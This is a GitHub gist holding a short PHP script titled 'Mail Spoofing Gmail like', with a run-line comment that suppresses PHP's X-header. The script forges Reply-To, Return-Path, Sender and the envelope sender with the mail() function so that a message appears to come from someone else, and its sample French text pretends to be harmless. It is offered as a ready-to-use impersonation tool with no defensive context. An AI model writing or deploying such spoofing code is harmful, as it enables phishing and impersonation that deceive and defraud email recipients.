Skip to content

Instantly share code, notes, and snippets.

@floreo
Last active March 10, 2017 22:06
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save floreo/00b3c85f9cd0303ce51931fd5c01cddd to your computer and use it in GitHub Desktop.
Save floreo/00b3c85f9cd0303ce51931fd5c01cddd to your computer and use it in GitHub Desktop.
Mail Spoofing Gmail like
<?php
// howto: php -c <(echo "mail.add_x_header=0") mail.php
$to = "";
$from = "User <real from>";
$spoof="fake mail";
$headers = "Reply-To: $spoof\r\n" .
"Content-type: text/plain; charset=utf-8\r\n".
"Return-Path: $spoof\r\n" .
'MIME-Version: 1.0' . "\r\n" .
"Sender: $spoof\r\n" .
"From: $from\r\n";
$subject="Bonjour Matt !";
$message="Yo, comment tu vas ? Je n'essaie rien d'étrange tu vois.";
mail($to, $subject, $message, $headers, "-f $spoof");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment